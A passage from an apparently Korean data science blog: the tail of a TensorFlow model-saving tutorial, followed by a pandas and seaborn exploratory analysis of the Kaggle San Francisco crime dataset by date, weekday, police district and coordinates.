cp--0025.ckpt.data-00000-of-00002  cp--0050.ckpt.index

# 가장 마지막에 만들어진 체크포인트 확인
lastest = tf.train.latest_checkpoint(checkpoint_dir)
lastest

'training_2/cp--0050.ckpt'

체크포인트 파일

체크포인트에 저장되어 있는 정보
- 모델의 가중치를 포함하는 하나 이상의 샤드(shard)
- 가중치가 어느 샤드에 저장되어 있는지를 나타내는 인덱스 파일
단일 머신에서 훈련한다면 .data-00000-of-00001 확장자를 가진 샤드 하나만 만들어 짐

수동으로 가중치 저장하기

수동으로 가중치 저장하는 방법: Model.save_weights메서드 사용

# 가중치를 저장
model.save_weights('./checkpoints/my_checkpoint')

# 가중치를 복원
model = create_model()
model.load_weights('./checkpoints/my_checkpoint')

loss, acc = model.evaluate(test_images, test_labels, verbose=2)
print("복원된 모델의 정확도: {:5.2f}%".format(100*acc))

10000/10000 - 1s - loss: 0.2244 - accuracy: 0.9663
복원된 모델의 정확도: 96.63%

모델 전체를 저장하기

전체 모델을 파일 하나에 저장하는 방법 제공
- 원본 코드를 사용하지 않고 나중에 정확히 동일 상태에서 훈련을 다시 시작 가능
저장되는 것들
- 가중치
- 모델 구성(구조)
- 옵티마이저에 지정한 설정
  - 현재는 텐서플로우 옵티마이저를 저장할 수 없음, 모델 로드후 다시 컴파일 해야 함, 옵티마이저의 상태는 유지되지 않음
- 모델의 체크포인트

HDF5 파일로 저장하기

케라스는 HDF5 표준의 기본 저장 포맷 제공
- 모델을 하나의 이진파일(binary blob)처럼 다룰 수 있음

model = create_model()

model.fit(train_images, train_labels, epochs=5)

# 전체 모델을 HDF5파일로 저장
model.save('my_model.h5')

Train on 10000 samples
Epoch 1/5
10000/10000 [==============================] - 1s 91us/sample - loss: 0.4399 - accuracy: 0.8770
Epoch 2/5
10000/10000 [==============================] - 1s 69us/sample - loss: 0.2002 - accuracy: 0.9436
Epoch 3/5
10000/10000 [==============================] - 1s 71us/sample - loss: 0.1314 - accuracy: 0.9608
Epoch 4/5
10000/10000 [==============================] - 1s 73us/sample - loss: 0.0992 - accuracy: 0.9711
Epoch 5/5
10000/10000 [==============================] - 1s 72us/sample - loss: 0.0694 - accuracy: 0.9802

# 가중치와 옵티마이저를 포함하여 정확히 동일한 모델을 다시 생성
new_model = keras.models.load_model('my_model.h5')
new_model.summary()

Model: "sequential_5"
_________________________________________________________________
Layer (type)                 Output Shape              Param #   
=================================================================
dense_10 (Dense)             (None, 512)               401920    
_________________________________________________________________
dropout_5 (Dropout)          (None, 512)               0         
_________________________________________________________________
dense_11 (Dense)             (None, 10)                5130      
=================================================================
Total params: 407,050
Trainable params: 407,050
Non-trainable params: 0
_________________________________________________________________

loss, acc = new_model.evaluate(test_images, test_labels, verbose=2)
print("복원된 모델의 정확도: {:5.2f}%".format(100*acc))

10000/10000 - 1s - loss: 0.1535 - accuracy: 0.9535
복원된 모델의 정확도: 95.35%

saved_model을 사용하기(지원중단됨)

실험적인 메서드, 향후 버전에서 변경될 수 있음

San Francisco Crime Classification EDA

eunguru — Sun, 17 Nov 2019 22:59:05 +0900

San Francisco Crime Classification EDA

Kaggle 주소: San Francisco Crime Classification
경진대회의 목표: 특정 위치 데이터를 활용해서 특정 시간대, 요일, 관할서에서 일어난 범죄를 분석해서 범죄의 구체적인 종류를 예측하는 것

import pandas as pd
import numpy as np

Load Dataset

train = pd.read_csv('./data/train.csv')
print(train.shape)
train.head()

(878049, 9)

	Dates	Category	Descript	DayOfWeek	PdDistrict	Resolution	Address	X	Y
0	2015-05-13 23:53:00	WARRANTS	WARRANT ARREST	Wednesday	NORTHERN	ARREST, BOOKED	OAK ST / LAGUNA ST	-122.425892	37.774599
1	2015-05-13 23:53:00	OTHER OFFENSES	TRAFFIC VIOLATION ARREST	Wednesday	NORTHERN	ARREST, BOOKED	OAK ST / LAGUNA ST	-122.425892	37.774599
2	2015-05-13 23:33:00	OTHER OFFENSES	TRAFFIC VIOLATION ARREST	Wednesday	NORTHERN	ARREST, BOOKED	VANNESS AV / GREENWICH ST	-122.424363	37.800414
3	2015-05-13 23:30:00	LARCENY/THEFT	GRAND THEFT FROM LOCKED AUTO	Wednesday	NORTHERN	NONE	1500 Block of LOMBARD ST	-122.426995	37.800873
4	2015-05-13 23:30:00	LARCENY/THEFT	GRAND THEFT FROM LOCKED AUTO	Wednesday	PARK	NONE	100 Block of BRODERICK ST	-122.438738	37.771541

train.info()

<class 'pandas.core.frame.DataFrame'>
RangeIndex: 878049 entries, 0 to 878048
Data columns (total 9 columns):
Dates         878049 non-null object
Category      878049 non-null object
Descript      878049 non-null object
DayOfWeek     878049 non-null object
PdDistrict    878049 non-null object
Resolution    878049 non-null object
Address       878049 non-null object
X             878049 non-null float64
Y             878049 non-null float64
dtypes: float64(2), object(7)
memory usage: 60.3+ MB

데이터 설명

row의 사이즈가 매우 큰 데이터, 실전 데이터 분석에 도움이 될 듯
column의 설명
- Datas: 범죄가 발생한 날짜와 시간
- Category: 범죄의 세부종류(label colum)
- Descript: 범죄의 세부정보(test.csv에는 없는 데이터, 참고용으로만 사용되는 데이터)
- DayOfWeek: 범죄가 발생한 요일(월~일)
- PdDistrict: 범죄 관할 경찰서 이름(총 10개)
- Resolution: 범죄의 상태, 범죄 해결 여부(test.csv에는 없는 데이터, 참고용으로만 사용되는 데이터)
- Address: 범죄가 발생한 구체적인 주소(미국의 주소체계, 샌프란시스코 주소체계에 대한 도메인 지식이 있다면 좋은 예측 모델을 나타낼 수 있음)
- X: 범죄가 발생한 좌표 정보(경도)
- Y: 범죄가 발생한 좌표 정보(위도)

Explore

탐험적 데이터 분석(Exploratory Data Analysis, EDA)이 중요
- 파이썬 패키지는 자유롭게 선택가능
- 데이터 시각화: matplotlib, seaborn, ggplot, bokeh 등 사용 가능
Cross Validation을 활용해 머신러닝 모델의 성능을 측정, 점수로 피드백 받아 모델 개선(Try and Error 방식으로 모델을 점진적으로 개선함)
- 단, 모델이 개선되거나 개선되지 않았을 때 이유를 명확히 파악하기 어려움
- 모델 개선의 구체적 전략을 짜는 것이 어려움

Library loading

# matplotlib으로 시각화하는 것을 jupyter notebook에 바로 띄움
%matplotlib inline
import seaborn as sns
import matplotlib.pyplot as plt

Dates Column

Dates 형식
- dtype('O'): 문자열, object
- to_datetime()으로 변환

train["Dates"].dtypes

dtype('O')

# 문자열(string, object) 데이터 타입을 DateTime 형태로 변환
pd.to_datetime(train["Dates"]).dtypes

dtype('<M8[ns]')

train["Dates"] = pd.to_datetime(train["Dates"])
train.dtypes

Dates         datetime64[ns]
Category              object
Descript              object
DayOfWeek             object
PdDistrict            object
Resolution            object
Address               object
X                    float64
Y                    float64
dtype: object

# pandas에 Dates 컬럼을 년,월,일,시,분,초 새로운 컬럼으로 따로 추가
train["Dates-year"] = train["Dates"].dt.year
train["Dates-month"] = train["Dates"].dt.month
train["Dates-day"] = train["Dates"].dt.day
train["Dates-hour"] = train["Dates"].dt.hour
train["Dates-minute"] = train["Dates"].dt.minute
train["Dates-second"] = train["Dates"].dt.second

print(train.shape)
train[["Dates", "Dates-year", "Dates-month", "Dates-day", "Dates-hour", "Dates-minute", "Dates-second"]].head()

(878049, 15)

	Dates	Dates-year	Dates-month	Dates-day	Dates-hour	Dates-minute
0	2015-05-13 23:53:00	2015	5	13	23	53
1	2015-05-13 23:53:00	2015	5	13	23	53
2	2015-05-13 23:33:00	2015	5	13	23	33
3	2015-05-13 23:30:00	2015	5	13	23	30
4	2015-05-13 23:30:00	2015	5	13	23	30

시각화

시각화 전 시각화의 예상 결과를 미리 상상하는 것을 추천
seaborn의 countplot을 이용하여 시각화

# 여러개의 시각화를 한 화면에 띄움: matplotlib의 subplots 사용
# 2*3으로 총 6개의 시각화를 한 화면에 띄움
figure, ((ax1, ax2, ax3), (ax4, ax5, ax6)) = plt.subplots(nrows=2, ncols=3)

# 시각화 전체 사이즈 지정
figure.set_size_inches(20, 8)

sns.countplot(data=train, x="Dates-year", ax=ax1) # ax1: 좌상단
sns.countplot(data=train, x="Dates-month", ax=ax2)
sns.countplot(data=train, x="Dates-day", ax=ax3)
sns.countplot(data=train, x="Dates-hour", ax=ax4)
sns.countplot(data=train, x="Dates-minute", ax=ax5)
sns.countplot(data=train, x="Dates-second", ax=ax6) # ax6: 우하단

<matplotlib.axes._subplots.AxesSubplot at 0x11dd31ef0>

year: 2015년만 범죄 발생수가 작음
month: 균등
day: 1일은 많고 31일은 범죄 발생수가 적음(31일이 적은 이유는 1,3,5,7,8,10,12월만 존재하기 때문에)
hour: 새벽에는 범죄 발생수가 적음
minute: 0, 30분에 범죄발생수가 많음(0,30,45,15,20분 순으로 많음)
second: 모두 0으로 범죄 발생에 영향 없음

feadback

초(Dates-second), 분(Dates-minute)는 정확하게 기록되어 있지 않을 가능성이 높다.
초(Dates-second)는 전부 0으로 기록되어 있기 때문에 범죄를 예측하는데 크게 중요하지 않은 것 같음, feature를 제거하는 것도 좋은 아이디어다.
시간(Dates-hour)은 범죄를 예측하는 데 큰 영향을 미칠 것으로 보인다.
분(Dates-minute)은 잘 정리하면 머신러닝 모델이 이 데이터를 이용하는데 도움이 될 것 같다.
- 0분, 30분은 배제하고 나머지 분들을 사용

train["Dates-minute"].value_counts().head()

0     268950
30    125173
45     40229
15     37904
20     26027
Name: Dates-minute, dtype: int64

train["Dates-hour"].value_counts().tail(10)

10    37806
9     35555
8     32900
1     26173
2     22296
7     22048
3     14014
6     13133
4      9863
5      8637
Name: Dates-hour, dtype: int64

X, Y Column

X: 경도, Y: 위도
seaborn의 lmplot을 이용해 좌표 정보를 시각화

train[["X", "Y"]]

	X	Y
0	-122.425892	37.774599
1	-122.425892	37.774599
2	-122.424363	37.800414
3	-122.426995	37.800873
4	-122.438738	37.771541
...	...	...
878044	-122.459033	37.714056
878045	-122.447364	37.731948
878046	-122.403390	37.780266
878047	-122.390531	37.780607
878048	-122.394926	37.738212

878049 rows × 2 columns

시각화

# seaborn의 lmplot을 사용해 좌표 데이터를 출력
# fil_reg 옵션에 False 지정 (추세선을 그리지 않기 위해 지정, 계산속도 느림)
sns.lmplot(data=train, x="X", y="Y", fit_reg=False)

<seaborn.axisgrid.FacetGrid at 0x11d29f7f0>

train["X"].max(), train["Y"].max()

(-120.5, 90.0)

# outlier 데이터를 가져옴
X_outliers = train["X"] == train["X"].max()
Y_outliers = train["Y"] == train["Y"].max()

outlier = train[X_outliers & Y_outliers]
print(outlier.shape)
outlier.head()

(67, 15)

	Dates	Category	Descript	DayOfWeek	PdDistrict	Resolution	Address	X	Y	Dates-year	Dates-month	Dates-day	Dates-hour	Dates-minute
660485	2005-12-30 17:00:00	LARCENY/THEFT	GRAND THEFT FROM LOCKED AUTO	Friday	TENDERLOIN	NONE	5THSTNORTH ST / OFARRELL ST	-120.5	90.0	2005	12	30	17	0
660711	2005-12-30 00:34:00	ASSAULT	INFLICT INJURY ON COHABITEE	Friday	BAYVIEW	ARREST, BOOKED	JAMESLICKFREEWAY HY / SILVER AV	-120.5	90.0	2005	12	30	0	34
660712	2005-12-30 00:34:00	ASSAULT	AGGRAVATED ASSAULT WITH BODILY FORCE	Friday	BAYVIEW	ARREST, BOOKED	JAMESLICKFREEWAY HY / SILVER AV	-120.5	90.0	2005	12	30	0	34
661106	2005-12-29 00:07:00	NON-CRIMINAL	AIDED CASE, MENTAL DISTURBED	Thursday	TENDERLOIN	PSYCHOPATHIC CASE	5THSTNORTH ST / EDDY ST	-120.5	90.0	2005	12	29	0	7
666430	2005-11-30 11:25:00	OTHER OFFENSES	TRAFFIC VIOLATION	Wednesday	TENDERLOIN	ARREST, CITED	5THSTNORTH ST / ELLIS ST	-120.5	90.0	2005	11	30	11	25

아웃라이어를 제외하고 시각화

샌프란시스코 지도 모양으로 시각화됨

# outlier가 아닌(~) 데이터만 색인으로 추출
non_outliers = train[~(X_outliers & Y_outliers)]

# 시각화
sns.lmplot(data=non_outliers, x="X", y="Y", fit_reg=False)

<seaborn.axisgrid.FacetGrid at 0x11d8ab320>

sns.scatterplot(x="X", y="Y", data=non_outliers)

<matplotlib.axes._subplots.AxesSubplot at 0x11d805c18>

feadback

아웃라이어가 전체 데이터에 0.01%도 되지 않기 때문에 이 아웃라이어를 해결한다고 모델의 성능이 크게 좋아지지는 않는다.
범죄의 종류마다 좌표 데이터가 차이가 있다면(특정 지역에서 많이 발생하는 범죄 등이 있다면) 이 데이터를 머신러닝 모델에 집어넣으면 성능을 좋게 만들 수 있을 것이다.
아웃라이어가 존재한다면, 이를 정상적인 값으로 고치거나 아예 아웃라이어를 배제하면 머신러닝 알고리즘이 아웃라이어에 편향되는 현상이 사라질 것이다.

DayOfWeek Column

non_outliers["DayOfWeek"].value_counts()

Friday       133723
Wednesday    129200
Saturday     126804
Thursday     125027
Tuesday      124954
Monday       121573
Sunday       116701
Name: DayOfWeek, dtype: int64

시각화

요일마다 범죄 발생률의 차이가 크지 않으나 금요일(Friday)이 비교적 높고 일요일(Sunday)이 비교적 낮다.

plt.figure(figsize=(12,4))
# seaborn의 경우 자동정렬이 되지 않으므로, 명시적으로 정렬 순서를 정해줌
dwofweek_list = ["Monday", "Tuesday", "Wednesday", 
                 "Thursday", "Friday", "Saturday", "Sunday"]

sns.countplot(x="DayOfWeek", order=dwofweek_list, data=non_outliers)

<matplotlib.axes._subplots.AxesSubplot at 0x11db76e80>

non_outliers["Category"].value_counts().index

Index(['LARCENY/THEFT', 'OTHER OFFENSES', 'NON-CRIMINAL', 'ASSAULT',
       'DRUG/NARCOTIC', 'VEHICLE THEFT', 'VANDALISM', 'WARRANTS', 'BURGLARY',
       'SUSPICIOUS OCC', 'MISSING PERSON', 'ROBBERY', 'FRAUD',
       'FORGERY/COUNTERFEITING', 'SECONDARY CODES', 'WEAPON LAWS',
       'PROSTITUTION', 'TRESPASS', 'STOLEN PROPERTY', 'SEX OFFENSES FORCIBLE',
       'DISORDERLY CONDUCT', 'DRUNKENNESS', 'RECOVERED VEHICLE', 'KIDNAPPING',
       'DRIVING UNDER THE INFLUENCE', 'RUNAWAY', 'LIQUOR LAWS', 'ARSON',
       'LOITERING', 'EMBEZZLEMENT', 'SUICIDE', 'FAMILY OFFENSES', 'BAD CHECKS',
       'BRIBERY', 'EXTORTION', 'SEX OFFENSES NON FORCIBLE', 'GAMBLING',
       'PORNOGRAPHY/OBSCENE MAT', 'TREA'],
      dtype='object')

non_outliers["Category"].value_counts()

LARCENY/THEFT                  174885
OTHER OFFENSES                 126165
NON-CRIMINAL                    92300
ASSAULT                         76872
DRUG/NARCOTIC                   53971
VEHICLE THEFT                   53772
VANDALISM                       44724
WARRANTS                        42206
BURGLARY                        36754
SUSPICIOUS OCC                  31412
MISSING PERSON                  25989
ROBBERY                         22999
FRAUD                           16679
FORGERY/COUNTERFEITING          10609
SECONDARY CODES                  9985
WEAPON LAWS                      8555
PROSTITUTION                     7484
TRESPASS                         7325
STOLEN PROPERTY                  4539
SEX OFFENSES FORCIBLE            4387
DISORDERLY CONDUCT               4318
DRUNKENNESS                      4280
RECOVERED VEHICLE                3138
KIDNAPPING                       2341
DRIVING UNDER THE INFLUENCE      2268
RUNAWAY                          1946
LIQUOR LAWS                      1903
ARSON                            1513
LOITERING                        1225
EMBEZZLEMENT                     1166
SUICIDE                           508
FAMILY OFFENSES                   491
BAD CHECKS                        406
BRIBERY                           289
EXTORTION                         256
SEX OFFENSES NON FORCIBLE         148
GAMBLING                          146
PORNOGRAPHY/OBSCENE MAT            22
TREA                                6
Name: Category, dtype: int64

시각화

LARCENY/THEFT가 제일 많음

# 상위 20개 범죄 종류만 시각화
sns.countplot(y="Category", data=non_outliers, 
              order=non_outliers["Category"].value_counts().index[:20])

<matplotlib.axes._subplots.AxesSubplot at 0x123a44358>

DayOfWeek와 Category관계 확인

DayOfWeek 시각화에서 큰 차이를 볼 수 없어서 Category 컬럼도 같이 시각화

1. 첫번째 방법

# 다수개의 차트를 같이 표현하는 방법
figure, axes = plt.subplots(nrows=10, ncols=4)

# 각 차트의 사이즈 지정
figure.set_size_inches(30, 48)

# seaborn의 경우 자동정렬이 되지 않으므로, 명시적으로 정렬 순서를 정해줌
dwofweek_list = ["Monday", "Tuesday", "Wednesday", 
                 "Thursday", "Friday", "Saturday", "Sunday"]

category_list = non_outliers["Category"].value_counts().index

# 반복문 수행
for row in range(10):
    for col in range(4):
        index = row * 4 + col #category의 개수가 39개

        if index < len(category_list):
            ax = axes[row][col]
            category = category_list[index]
            #print(row, col, index, category)

            target = non_outliers[non_outliers["Category"] == category]
            sns.countplot(x="DayOfWeek", order=dwofweek_list, data=target, ax=ax)
            ax.set(xlabel = category)

feadback

몇몇 특정 범죄에 한해 주중이나 주말일 때 범죄 발생에 차이가 있다.
- 주말에 많이 발생: 특히 음주운전(DRIVING UNDER THE INFLUENCE), 과음(DRUNKENNESS), 무단침입(TREA)
- 주중에 많이 발생: 마약(DRUG/NARCOTIC), 절도(BURGLARY), 위조(FORGERY/COUNTERFEITING)
주말의 경우도 금,토 또는 토,일에 따라 범죄 발생률이 다르다.
요일(DayOfWeek)가 범죄를 예측하는데 중요한 영향을 끼친다는 것을 알 수 있으므로 예측 모델의 성능을 개선하는데 효과가 있을 것 같다.
범죄마다 중요한 요일의 타입이 다르며, 대부분 주중과 주말로 나뉘며, 주말도 금,토 또는 토,일에 따라 다르다.
예외적으로 특정 요일에만 발생하는 범죄가 있다.
- 무단침입(TREA): 토요일
- 실종(MISSING PERSON): 금요일

2. 두번째 방법

groups = non_outliers.groupby(['Category', 'DayOfWeek'])['DayOfWeek'].count()
groups

Category     DayOfWeek
ARSON        Friday        220
             Monday        228
             Saturday      220
             Sunday        211
             Thursday      199
                          ... 
WEAPON LAWS  Saturday     1232
             Sunday       1128
             Thursday     1282
             Tuesday      1176
             Wednesday    1252
Name: DayOfWeek, Length: 271, dtype: int64

# Group으로 묶여진 데이터를 matrix형태로 전환
dw_category = groups.unstack(fill_value=0.0)
dw_category

DayOfWeek	Friday	Monday	Saturday	Sunday	Thursday	Tuesday	Wednesday
Category
ARSON	220.0	228.0	220.0	211.0	199.0	235.0	200.0
ASSAULT	11157.0	10559.0	11995.0	12082.0	10246.0	10280.0	10553.0
BAD CHECKS	62.0	66.0	45.0	20.0	66.0	76.0	71.0
BRIBERY	49.0	41.0	42.0	41.0	39.0	37.0	40.0
BURGLARY	6326.0	5262.0	4754.0	4231.0	5350.0	5374.0	5457.0
DISORDERLY CONDUCT	541.0	608.0	624.0	586.0	643.0	657.0	659.0
DRIVING UNDER THE INFLUENCE	352.0	263.0	457.0	442.0	282.0	251.0	221.0
DRUG/NARCOTIC	7420.0	7823.0	6390.0	6143.0	8454.0	8474.0	9267.0
DRUNKENNESS	622.0	513.0	833.0	813.0	496.0	461.0	542.0
EMBEZZLEMENT	211.0	222.0	137.0	108.0	165.0	156.0	167.0
EXTORTION	35.0	30.0	32.0	39.0	40.0	39.0	41.0
FAMILY OFFENSES	82.0	69.0	59.0	54.0	63.0	85.0	79.0
FORGERY/COUNTERFEITING	1757.0	1704.0	1178.0	901.0	1610.0	1752.0	1707.0
FRAUD	2641.0	2533.0	2256.0	1874.0	2351.0	2506.0	2518.0
GAMBLING	35.0	16.0	21.0	12.0	20.0	12.0	30.0
KIDNAPPING	385.0	340.0	355.0	374.0	289.0	306.0	292.0
LARCENY/THEFT	27102.0	23568.0	27214.0	24147.0	24415.0	23955.0	24484.0
LIQUOR LAWS	291.0	188.0	297.0	222.0	248.0	323.0	334.0
LOITERING	139.0	193.0	140.0	155.0	186.0	252.0	160.0
MISSING PERSON	4663.0	3592.0	3752.0	3061.0	3680.0	3655.0	3586.0
NON-CRIMINAL	13983.0	12854.0	14007.0	12972.0	12818.0	12738.0	12928.0
OTHER OFFENSES	18587.0	17783.0	17128.0	15456.0	18459.0	18806.0	19946.0
PORNOGRAPHY/OBSCENE MAT	4.0	3.0	1.0	3.0	5.0	3.0	3.0
PROSTITUTION	1158.0	409.0	850.0	620.0	1547.0	1421.0	1479.0
RECOVERED VEHICLE	494.0	530.0	343.0	307.0	432.0	517.0	515.0
ROBBERY	3384.0	3193.0	3428.0	3284.0	3216.0	3221.0	3273.0
RUNAWAY	344.0	280.0	268.0	205.0	305.0	275.0	269.0
SECONDARY CODES	1392.0	1483.0	1462.0	1543.0	1389.0	1343.0	1373.0
SEX OFFENSES FORCIBLE	620.0	607.0	662.0	690.0	585.0	597.0	626.0
SEX OFFENSES NON FORCIBLE	28.0	23.0	21.0	16.0	15.0	23.0	22.0
STOLEN PROPERTY	647.0	636.0	581.0	583.0	679.0	713.0	700.0
SUICIDE	72.0	75.0	73.0	67.0	89.0	66.0	66.0
SUSPICIOUS OCC	4923.0	4447.0	4155.0	4010.0	4510.0	4516.0	4851.0
TREA	1.0	1.0	2.0	0.0	1.0	1.0	0.0
TRESPASS	1064.0	1080.0	983.0	915.0	1047.0	1114.0	1122.0
VANDALISM	7092.0	5945.0	7326.0	6602.0	5980.0	5852.0	5927.0
VEHICLE THEFT	8612.0	7412.0	8117.0	7504.0	7454.0	7261.0	7412.0
WARRANTS	5926.0	5811.0	5364.0	5280.0	6372.0	6425.0	7028.0
WEAPON LAWS	1302.0	1183.0	1232.0	1128.0	1282.0	1176.0	1252.0

시각화

fg, ax = plt.subplots(figsize=(10, 10))
sns.heatmap(dw_category, linewidths=.5, ax=ax)

<matplotlib.axes._subplots.AxesSubplot at 0x124bf4240>

가장 많은 수의 범죄인 LARCENY/THREFT가 Saturday, Friday순으로 높음

dw_category.loc['LARCENY/THEFT'].sort_values(ascending=False)

DayOfWeek
Saturday     27214.0
Friday       27102.0
Wednesday    24484.0
Thursday     24415.0
Sunday       24147.0
Tuesday      23955.0
Monday       23568.0
Name: LARCENY/THEFT, dtype: float64

PdDistrict Column

non_outliers["PdDistrict"].unique()

array(['NORTHERN', 'PARK', 'INGLESIDE', 'BAYVIEW', 'RICHMOND', 'CENTRAL',
       'TARAVAL', 'TENDERLOIN', 'MISSION', 'SOUTHERN'], dtype=object)

non_outliers["PdDistrict"].value_counts()

SOUTHERN      157174
MISSION       119907
NORTHERN      105284
BAYVIEW        89422
CENTRAL        85455
TENDERLOIN     81794
INGLESIDE      78841
TARAVAL        65592
PARK           49311
RICHMOND       45202
Name: PdDistrict, dtype: int64

시각화

범죄의 관할서(PdDistrict)는 SOUTHERN, MISSION, MORTHERN순으로 높음

sns.countplot(data=non_outliers, y="PdDistrict")

<matplotlib.axes._subplots.AxesSubplot at 0x11ee6bd68>

PdDistrict와 X, Y 좌표의 위치를 시각화
- SOUTHERN, MISSION, MORTHERN의 위치가 몰려있음을 알 수 있음

fg2, ax2 = plt.subplots(figsize=(10,10))
sns.scatterplot(x="X", y="Y", hue="PdDistrict", 
                data=non_outliers, ax=ax2)

<matplotlib.axes._subplots.AxesSubplot at 0x114f939b0>

sns.lmplot(x="X", y="Y", hue="PdDistrict", 
           data=non_outliers, fit_reg=False)

<seaborn.axisgrid.FacetGrid at 0x114c1a3c8>

Category와 PdDistrict 관계 확인

1. 첫번째 방법

# 다수개의 차트를 같이 표현하는 방법
figure, axes = plt.subplots(nrows=10, ncols=4)

# 각 차트의 사이즈 지정
figure.set_size_inches(40, 48)

category_list = non_outliers["Category"].value_counts().index

# 반복문 수행
for row in range(10):
    for col in range(4):
        index = row * 4 + col #category의 개수가 39개

        if index < len(category_list):
            ax = axes[row][col]
            category = category_list[index]
            #print(row, col, index, category)

            target = non_outliers[non_outliers["Category"] == category]
            sns.countplot(y="PdDistrict", data=target, ax=ax)
            ax.set(ylabel = category)

feadback

관할 경찰서가 곧 지역을 상징하므로, 범죄가 많이 발생하는 지역에 범죄 발생빈도가 몰릴 것 같다.
- 범죄 발생 빈도가 SOUTHERN은 높고, PARK와 RICHMOND는 범죄 빈도가 낮은 편이다.
범죄의 종류에 따라 특정 지역에서 자주 발생하는 범죄가 있을 것이다.
관할 경찰서가 범죄를 예측하는 모델을 개선하는데 효과가 클 것 같다.
- PdDistrict를 one-hot encoding해서 모델에 집어넣는다.
관할 경찰서라도 결국에는 지역 데이터를 상징한다. 그러므로 다른 지역 데이터인 주소, 좌표와 엮어줄 수 있는 방법이 있다면 모델의 성능을 개선하는데 큰 도움이 될 것 같다.

2. 두번째 방법

# 범죄 발생빈도가 높은 상위 10개 범죄 데이터
top10_category = non_outliers["Category"].value_counts().index[:10]
df_top10_category = non_outliers.loc[non_outliers["Category"].isin(top10_category)]

sns.catplot(data=df_top10_category, y="PdDistrict", 
            col="Category", col_wrap=5, kind="count",
           order=non_outliers["PdDistrict"].value_counts().index)

<seaborn.axisgrid.FacetGrid at 0x15e142be0>

3. 세번째 방법

groups2 = non_outliers.groupby(['Category', 'PdDistrict'])['PdDistrict'].count()
groups2

Category     PdDistrict
ARSON        BAYVIEW        393
             CENTRAL        111
             INGLESIDE      182
             MISSION        145
             NORTHERN       149
                           ... 
WEAPON LAWS  PARK           357
             RICHMOND       327
             SOUTHERN      1128
             TARAVAL        567
             TENDERLOIN     794
Name: PdDistrict, Length: 382, dtype: int64

ca_pdDistrict = groups2.unstack(fill_value=0.0)
ca_pdDistrict

PdDistrict	BAYVIEW	CENTRAL	INGLESIDE	MISSION	NORTHERN	PARK	RICHMOND	SOUTHERN	TARAVAL	TENDERLOIN
Category
ARSON	393.0	111.0	182.0	145.0	149.0	65.0	103.0	185.0	120.0	60.0
ASSAULT	9855.0	6977.0	8532.0	11149.0	8318.0	3515.0	3202.0	12183.0	5463.0	7678.0
BAD CHECKS	34.0	65.0	32.0	46.0	54.0	15.0	31.0	74.0	36.0	19.0
BRIBERY	56.0	12.0	53.0	66.0	18.0	7.0	8.0	37.0	17.0	15.0
BURGLARY	3929.0	4519.0	3331.0	3745.0	5854.0	2888.0	2696.0	4841.0	3463.0	1488.0
DISORDERLY CONDUCT	219.0	494.0	171.0	1099.0	450.0	271.0	108.0	511.0	162.0	833.0
DRIVING UNDER THE INFLUENCE	179.0	160.0	206.0	357.0	260.0	176.0	319.0	306.0	202.0	103.0
DRUG/NARCOTIC	4498.0	1805.0	2373.0	8757.0	4511.0	2573.0	999.0	9228.0	1531.0	17696.0
DRUNKENNESS	243.0	517.0	190.0	782.0	368.0	374.0	149.0	959.0	259.0	439.0
EMBEZZLEMENT	100.0	180.0	78.0	124.0	131.0	50.0	43.0	275.0	94.0	91.0
EXTORTION	13.0	51.0	29.0	26.0	24.0	8.0	23.0	38.0	36.0	8.0
FAMILY OFFENSES	73.0	28.0	71.0	142.0	12.0	26.0	23.0	42.0	35.0	39.0
FORGERY/COUNTERFEITING	774.0	1144.0	977.0	1281.0	1292.0	518.0	619.0	2345.0	1097.0	562.0
FRAUD	866.0	2344.0	1213.0	1970.0	2055.0	974.0	1137.0	3441.0	1549.0	1130.0
GAMBLING	29.0	31.0	16.0	18.0	10.0	1.0	4.0	17.0	8.0	12.0
KIDNAPPING	313.0	197.0	348.0	312.0	231.0	94.0	104.0	340.0	191.0	211.0
LARCENY/THEFT	10118.0	25058.0	10235.0	18223.0	28628.0	9146.0	9891.0	41841.0	11844.0	9901.0
LIQUOR LAWS	114.0	141.0	106.0	495.0	124.0	149.0	81.0	385.0	122.0	186.0
LOITERING	50.0	70.0	26.0	191.0	193.0	23.0	8.0	429.0	34.0	201.0
MISSING PERSON	5038.0	1348.0	3181.0	3283.0	1956.0	2713.0	1183.0	3064.0	3390.0	833.0
NON-CRIMINAL	6099.0	10940.0	6853.0	12372.0	10240.0	5925.0	5744.0	19745.0	6919.0	7463.0
OTHER OFFENSES	17051.0	8899.0	13201.0	19329.0	12230.0	6184.0	5631.0	21307.0	8612.0	13721.0
PORNOGRAPHY/OBSCENE MAT	2.0	2.0	0.0	3.0	5.0	0.0	1.0	4.0	4.0	1.0
PROSTITUTION	70.0	778.0	26.0	3629.0	1831.0	5.0	24.0	135.0	82.0	904.0
RECOVERED VEHICLE	735.0	178.0	662.0	325.0	273.0	117.0	125.0	326.0	262.0	135.0
ROBBERY	2714.0	1999.0	2788.0	3629.0	2640.0	957.0	787.0	3878.0	1405.0	2202.0
RUNAWAY	265.0	43.0	148.0	298.0	88.0	485.0	94.0	108.0	408.0	9.0
SECONDARY CODES	1662.0	704.0	1300.0	1439.0	999.0	444.0	525.0	1205.0	983.0	724.0
SEX OFFENSES FORCIBLE	387.0	394.0	504.0	718.0	435.0	212.0	216.0	818.0	383.0	320.0
SEX OFFENSES NON FORCIBLE	22.0	7.0	22.0	35.0	9.0	6.0	10.0	17.0	15.0	5.0
STOLEN PROPERTY	397.0	510.0	347.0	631.0	699.0	175.0	206.0	1007.0	231.0	336.0
SUICIDE	37.0	60.0	65.0	72.0	67.0	20.0	42.0	59.0	59.0	27.0
SUSPICIOUS OCC	3905.0	2841.0	3167.0	3808.0	3270.0	1656.0	2191.0	5065.0	2996.0	2513.0
TREA	3.0	1.0	0.0	1.0	1.0	0.0	0.0	0.0	0.0	0.0
TRESPASS	636.0	904.0	416.0	1021.0	780.0	290.0	245.0	1456.0	386.0	1191.0
VANDALISM	5355.0	4469.0	5374.0	5294.0	5404.0	2613.0	3180.0	6550.0	4869.0	1616.0
VEHICLE THEFT	7219.0	4210.0	8960.0	7148.0	6291.0	3961.0	4113.0	4724.0	6142.0	1004.0
WARRANTS	4322.0	2777.0	2528.0	6615.0	4595.0	2318.0	1010.0	9101.0	1616.0	7324.0
WEAPON LAWS	1647.0	487.0	1130.0	1329.0	789.0	357.0	327.0	1128.0	567.0	794.0

fg3, ax3 = plt.subplots(figsize=(10, 10))
sns.heatmap(ca_pdDistrict, linewidths=.5, ax=ax3)

<matplotlib.axes._subplots.AxesSubplot at 0x1147b0fd0>

ca_pdDistrict.loc['LARCENY/THEFT'].sort_values(ascending=False)

PdDistrict
SOUTHERN      41841.0
NORTHERN      28628.0
